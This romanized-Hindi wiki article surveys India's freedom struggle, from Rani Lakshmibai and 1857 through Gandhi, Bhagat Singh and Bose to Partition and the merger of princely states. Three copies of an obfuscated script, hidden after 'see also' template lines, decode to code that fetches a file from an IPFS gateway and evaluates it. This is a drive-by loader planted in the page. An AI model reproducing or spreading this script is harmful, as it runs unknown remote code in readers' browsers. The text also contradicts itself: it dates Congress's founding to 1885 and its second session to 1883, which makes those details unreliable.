jhaansi ki rani lakshmibaee ka janm 19 navanbar, 1828 ko kashi ke puny v pavitr kshetr asighat, varanasi mean hua tha. inake pita ka nam 'moropant taanbe' aur mata ka nam 'bhagirathi baee' tha. inaka bachapan ka nam 'manikarnika' rakha gaya, parantu pyar se manikarnika ko 'manu' pukara jata tha. manu ki avastha abhi char-paanch varsh hi thi ki usaki maan ka dehant ho gaya. pita moropant taanbe ek sadharan brahman aur aantim peshava bajirav dvitiy ke sevak the. mata bhagirathi baee sushil, chatur aur roopavati mahila thian. apani maan ki mrityu ho jane par vah pita ke sath bithoor (kanapur) a gee thian. yahian par unhoanne mallavidya, ghu dasavari aur shastravidyaean sikhian. chooanki ghar mean manu ki dekhabhal ke lie koee nahian tha, isalie unake pita moropant manu ko apane sath bajirav dvitiy ke darabar mean le jate the, jahaan chanchal evan sundar manu ne sabaka man moh liya tha. bajirav manu ko pyar se 'chhabili' bulane the.

tatya tope

[[chitr:Tatya-Tope.jpg|thumb|150px|tatya tope]]

1. REDIRECTsaancha:mukhy

san 1857 ee. ke pratham svatantrata sangram ke agraniy viroan mean tatya tope ko b da uchch sthan prapt hai. is vir ne kee sthanoan par apane sainik abhiyanoan mean uttar pradesh, rajasthan, madhy pradesh, gujarat mean aangrezi senaoan se takkar li thi aur unhean pareshan kar diya tha. gorilla yuddh pranali ko apanate hue tatya tope ne aangrezi senaoan ke kee sthanoan par chhakke chhu da diye the. tatya tope jo 'taantiya topi' ke nam se vikhyat haian, 1857 ee. ke svatantrata sangram ke un mahanh sainik netaoan mean se ek the, jo prakash mean ae. 1857 ee. tak log inake nam se aparichit the. lekin 1857 ee. ki natakiy ghatanaoan ne unhean achanak aandhakar se prakash mean la kh da kiya. is mahanh vidroh ke praranbh hone se poorv vah rajyachyut peshava bajirav dvitiy ke sabase b de putr bithoor ke raja, nana sahab ke ek prakar se sathi-musahib matr the, kiantu svatantrata sangram mean kanapur ke sammilit hone ke pashchath tatya peshava ki sena ke senadhyaksh ki sthiti tak pahuanch ge.

bahadur shah

[[chitr:Bahadur-Shah-II.jpg|thumb|140px|bahadur shah zafar]]

1. REDIRECTsaancha:mukhy

bahadur shah zafar akabar dvitiy aur lalabaee ke doosare putr the. apane shasanakal ke adhikaansh samay unake pas vastavik satta nahian rahi aur vah aangrezoan par ashrit rahe. 1857 ee. mean svatantrata sangram shuroo hone ke samay bahadur shah 82 varsh ke boodhe the, aur svayan nirnay lene ki kshamata ko kho chuke the. vidrohiyoan ne unako azad hindustan ka badashah banaya. is karan aangrez unase kupit ho gaye aur unhoanne unase shatruvath vyavahar kiya. sitambar 1857 ee. mean aangrezoan ne dubara dilli par qabza jama liya aur bahadur shah zafar ko giraftar karake un par muqadama chalaya gaya tatha unhean rangoon (vartaman yaangoon) nirvasit kar diya gaya.

antim mugal shasak bahadurashah zafar, jhaansi ki rani lakshmibaee, taantya tope (ramachanndr paandurang), bihar ke baboo kuanvarasianh, maharashtr se nana sahab, is pratham kranti ke prayas ke nayak the, kintu prayas viphal ho gaya. adhikaansh deshi rajaoan ne apane ko kraanti se alag rakha. kampani ko balapoorvak kraanti ko kuchal dene mean saphalata mili, parantu kraanti ke bad british parliyameant ne bharat par kampani ka shasan samapt kar diya. bharat ka shasan ab sidhe briten ke dvara kiya jane laga.

mahatma gaandhi

[[chitr:Mahatma-Gandhi-1.jpg|thumb|150px|mahatma gaandhi]]

1. REDIRECTsaancha:mukhy

mahatma gaandhi ne bharat ko azadi dilane ke lie apana sampoorn jivan hi samarpit kar diya tha. vishvakavi ravindranath taigor ne unhean 'mahatma' ki upadhi di thi, jisase vah mahatma gaandhi ke nam se pukare jane lage the. mahatma gaandhi ka janm 2 aktoobar 1869 ee. ko gujarat ke porabandar namak sthan par hua tha. unake mata-pita kattar hindoo the. inake pita ka nam karamachand gaandhi tha. mohanadas ki mata ka nam putalibaee tha, jo karamachand gaandhi ji ki chauthi patni thian. mohanadas apane pita ki chauthi patni ki antim santan the. unake pita karamachand (kaba gaandhi) pahale british shasan ke tahat pashchimi bharat ke gujarat rajy mean ek chhoti-si riyasat ki rajadhani porabandar ke divan the aur bad mean kramashah rajakot (kathiyava d) aur vaankaner mean divan rahe. karamachand gaandhi ne bahut adhik aupacharik shiksha to prapt nahian ki thi, lekin vah ek kushal prashasak the aur unhean sanaki rajakumaroan, unaki duahkhi praja tatha sattasin kattar british rajanitik adhikariyoan ke bich apana rasta nikalana ata tha.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy rashtriy kaangres ki sthapana

1. REDIRECTsaancha:mukhy[[chitr:Congress-Flag-1931.jpg|thumb|150px|bharatiy rashtriy kaangres ka dhvaj]]

is prakar bharat mean british shasan ka doosara kal (1858-1947 ee.) arambh hua. is kal ka shasan ek ke bad ikattis gavarnar-janaraloan ke hathoan mean raha. gavarnar-janaral ko ab vaisaray (british samrat ka pratinidhi) kaha jane laga. l aaurd kainiang pahala vaisaray tatha gavarnar-janaral niyukt hua. 1885 ee. mean bambee mean bharatiy rashtriy kaangres ki sthapana huee, jisamean desh ke samast bhagoan se 71 pratinidhiyoan ne bhag liya. kaangres ka doosara adhiveshan 1883 ee. mean kalakatta mean hua, jisamean sare desh se nirvachit 434 pratinidhiyoan ne bhag liya. is adhiveshan mean maang ki gayi ki bharat mean kendriy tatha praantiy vidhanamandaloan ka vistar kiya jaye aur usake adhe sadasy nirvachit bharatiy hoan. kaangres har sal apane adhiveshanoan mean apani maangean doharati rahi. l aaurd dafarin ne kaangres par vyangy karate hue use aise alpasankhyak varg ka pratinidhitv karane vali sanstha bataya, jise sirf khurdabin se dekha ja sakata hai. l aaurd lainsadaun ne usake prati poorn upeksha ki niti barati, l aaurd karzan ne usaka khuleam mazak u daya tatha l aaurd minto dvitiy ne 1909 ke iandiyan k aauuansil ekt dvara sthapit vidhanamandaloan mean musalamanoan ko anuchit riti se anupat se adhik pratinidhitv dekar unhean pho dane tatha kaangres ko to dane ki koshish ki, phir bhi kaangres zinda rahi.

saphalata ki shuruat

kaangres ko pahali mamooli saphalata 1909 ee. mean mili, jab ianglaind mean bharatamantri ke nirdeshan mean kam karane vali 'bharat parishad' mean do bharatiy sadasyoan ki niyukti pahali bar ki gayi. vaisaray ki 'ekjikyootiv kauansil' mean pahali bar ek bharatiy sadasy ki niyukti ki gayi tatha 'iandiyan kauansil ekt' ke dvara kendriy tatha prantiy vidhanamandaloan ka vistar kar diya gaya tatha unamean nirvachit bharatiy pratinidhiyoan ka anupat pahale se adhik badha diya gaya. in sudharoan ke prastav l aaurd marle ne halaanki bharat mean sansadiy sansthaoan ki sthapana karane ka koee irada hone se inkar kiya, phir bhi ekt mean jo vyavasthaean ki gayian thi, unaka uddeshy usi disha mean age badhane ke siva aur kuchh nahian ho sakata tha. 1911 ee. mean l aaurd karzan ke dvara 1905 ee. mean kiya bangal ka vibhajan radd kar diya gaya aur bharat ne briten ka poora sath diya. bharat ne yuddh ko jitane ke lie briten ki faujoan se, dhan se tatha samagri se madad ki. bharat asha karata tha ki is rajabhakti pradarshan ke badale yuddh se hone vale labhoan mean use bhi hissa milega.

saradar bhagat sianh

[[chitr:Bhagat-Singh.gif|thumb|150px|bhagat sianh]]

1. REDIRECTsaancha:mukhy

1919 ee. mean raulat ekt ke virodh mean sanpoorn bharat mean pradarshan ho rahe the aur isi varsh 13 aprail ko jaliyaanvala bag kand hua. is kand ka samachar sunakar bhagat sianh lahaur se amritasar pahuanche. desh par mar-mitane vale shahidoan ke prati shradhdaanjali di tatha rakt se bhigi mitti ko unhoanne ek botal mean rakh liya, jisase sadaiv yah yad rahe ki unhean apane desh aur deshavasiyoan ke apaman ka badala lena hai. 1920 ee. ke mahatma gaandhi ke asahayog aandolan se prabhavit hokar 1921 ee. mean bhagat sianh ne skool chho d diya. asahayog aandolan se prabhavit chhatroan ke lie lala lajapat ray ne lahaur mean 'neshanal k aaulej' ki sthapana ki thi. isi k aaulej mean bhagat sianh ne bhi pravesh liya. 'panjab neshanal k aaulej' mean unaki deshabhakti ki bhavana phalane-phoolane lagi. isi k aaulej mean hi yashapal, bhagavaticharan, sukhadev, tirtharam, jhandasianh adi kraantikariyoan se sanpark hua. k aaulej mean ek neshanal natak klab bhi tha. isi klab ke madhyam se bhagat sianh ne deshabhaktipoorn natakoan mean abhinay bhi kiya.

chandrashekhar azad

[[chitr:Chandrashekhar-Azad.jpg|thumb|right|150px|chandrashekhar azad]]

1. REDIRECTsaancha:mukhy

chandrashekhar azad ke saphal netritv mean bhagat sianh aur batukeshvar datt ne 8 aprail, 1929 ee. ko dilli ki 'kendriy aseanbali' mean bam visphot kie. ye visphot sarakar dvara banae ge kale qanoonoan ke virodh mean kie ge the. is kand ke phalasvaroop bhi krantikari bahut janapriy ho ge. kendriy aseanbali mean bam visphot karane ke pashchath bhagat sianh aur batukeshvar datt ne svayan ko giraphtar kara liya. ve nyayalay ko apana prachar–manch banana chahate the. chandrashekhar azad ghoom–ghoomakar kranti prayasoan ko gati dene mean lage hue the. akhir vah din bhi a gaya, jab kisi mukhabir ne pulis ko vah soochana di, ki chandrashekhar azad 'alfred park' mean apane ek sathi ke sath baithe hue haian. chandrashekhar azad ne park mean kafi der tak aangrezoan se mukabala kiya. unake pas sari goliyaan samapt ho chuki thian, sirf ek goli hi shesh thi. ve aangrezoan ke hathoan mean ana nahian chahate the. svayan ko giraphtari se bachane ke lie unhoanne vah ek shesh goli apane mastishk se satakar chali di. is prakar ek aise deshabhakt ka ant ho gaya, jisane azadi ki prapti ke liye pranoan ka moh nahian kiya. desh ka har ek nagarik is vir ke rrin ko sadaiv yad rakhe, yahi us vir ke liye ek sachchi shrriddhajanli hogi.

netaji bos

1. REDIRECTsaancha:mukhy

[[chitr:Subhash-Chandra-Bose-2.jpg|thumb|150px|subhash chandr bos]] subhash chandr bos ek mahanh neta the. kahate haian n, ki neta apane siddhaantoan se kabhi samajhauta nahian karate, par unamean virodhiyoan ko sath lekar chalane ka mahanh gun hota hai. so neta ji mean yah gun koot-koot kar bhara tha. darasal, bharatiy svatantrata sangram mean alag-alag vicharoan ke dal the. zahir taur par mahatma gaandhi ko udar vicharoan vale dal ka pratinidhi mana jata tha. vahian netaji apane joshile svabhav ke karan kraantikari vicharoan vale dal mean the. yahi karan tha ki mahatma gaandhi aur subhash chandr bos ke vichar bhinn-bhinn the. lekin ve yah achchhi tarah janate the ki, mahatma gaandhi aur unaka maqasad ek hai, yani desh ki azadi. ve yah bhi janate the ki mahatma gaandhi hi desh ke rashtrapita kahalane ke sachamuch haqadar haian. sabase pahale gaandhi ji ko rashtrapita kahane vale netaji hi the.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sampradayik dange

kuchh british afasaroan ne bharat ko svadhin hone se rokane ke lie aantim durrabh sandhi ki aur musalamanoan ki bharat vibhajan karake pakistan ki sthapana ki maang ka samarthan karana shuroo kar diya. isake phalasvaroop agast 1946 ee. mean sare desh mean bhayanak sampradayik dange shuroo ho gaye, jinhean vaisaray l aaurd vevel apane samast fauji anubhavoan tatha sadhanoan bavajood rokan mean asaphal raha. yah anubhav kiya gaya ki bharat ka prashasan aisi sarakar ke dvara chalana sambhav nahian hai, jisaka niyantran mudhy roop se aangrezoan ke hathoan mean ho. atev sitambar 1946 ee. mean l aaurd vevel ne pandit javahar lal neharoo ke netritv mean bharatiy netaoan ki ek aantarim sarakar gathit ki. british adhikariyoan ki kripapatr hone ke karan muslim lig ke dimag kafi ooanche ho gaye the. usane pahale to ek mahine tak aantarim sarakar se apane ko alag rakha, isake bad vah bhi usamean sammilit ho gayi.

svatantrata prapti

bharat ka sanvidhan banane ke lie ek bharatiy sanvidhan sabha ka ayojan kiya gaya. 1947 ee. ke shuroo mean l aaurd vevel ke sthan par l aaurd mauantabeten vaisaray niyukt hua. use panjab mean bhayanak sampradayik dangoan ka samana karana p da. jinako bh dakane mean vahaan ke kuchh british afasaroan ka hath tha. vah pradhanamantri etali ke netritv mean briten ki sarakar ko yah samajhane mean saphal ho gaya ki bharat ka bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan karane se shanti ki sthapana sambhav ho sakegi aur briten bharat mean apane vyaparik hitoan ko surakshit rakh sakega. 3 joon, 1947 ee. ko british sarakar ki or se yah ghoshana kar di gayi ki bharat ka; bharat aur pakistan ke roop mean vibhajan karake use svadhinata pradan kar di jayagi. british parliyameant ne 15 agast, 1947 ee. ko 'iandipedans aauf iandiya ekt' pas kar diya. is tarah bharat uttar pashchimi sima prant, baloochistan, siandh, pashchimi panjab, poorvi bangal tatha pashchim bangal ke muslim bahul bhagoan se rahit ho jane ke bad, sat shatabdiyoan ki videshi paradhinata ke bad svadhinata ke ek naye path par agrasar hua.

riyasatoan ka vilay

adhikaansh deshi riyasatoan ne, jinake samane bharat athava pakistan mean vilay ka prastav rakha gaya tha, bharat mean vilay ke paksh mean nirnay liya, parantu, do riyasatoan-kashmir tatha haidarabad ne koee nirnay nahian kiya. pakistan ne balapoorvak kashmir ki riyasat par adhikar karane ka prayas kiya, parantu aktoobar 1947 ee. mean kashmir ke maharaj ne bharat mean vilay ki ghoshana kar di aur bharatiy senaoan ko vayuyanoan se bhejakar shrinagar sahit kashmiri ghati tak jammoo ki raksha kar li gayi. pakistani akramanakariyoan ne riyasat ke uttari bhag par apana qabza banaye rakha aur isake phalasvaroop pakistan se yuddh chhi d gaya. bharat ne yah mamala sanyukt rashtr sangh mean uthaya aur sanyukt rashtr sangh ne jis kshetr par jisaka qabza tha, usi ke adhar par yuddh viram kar diya. vah aj tak is saval ka koee nipatara nahian kar saka hai. haidarabad ke nizam ne apani riyasat ko svatantrata ka darja dilane ka sh dayantr racha, parantu bharat sarakar ki pulis karravaee ke phalasvaroop vah 1948 ee. mean apani riyasat bharat mean vilayan karane ke lie majaboor ho gaye. riyasatoan ke vilay mean tatkalin grihamantri saradar ballabh bhaee patel ki mukhy bhoomika rahi.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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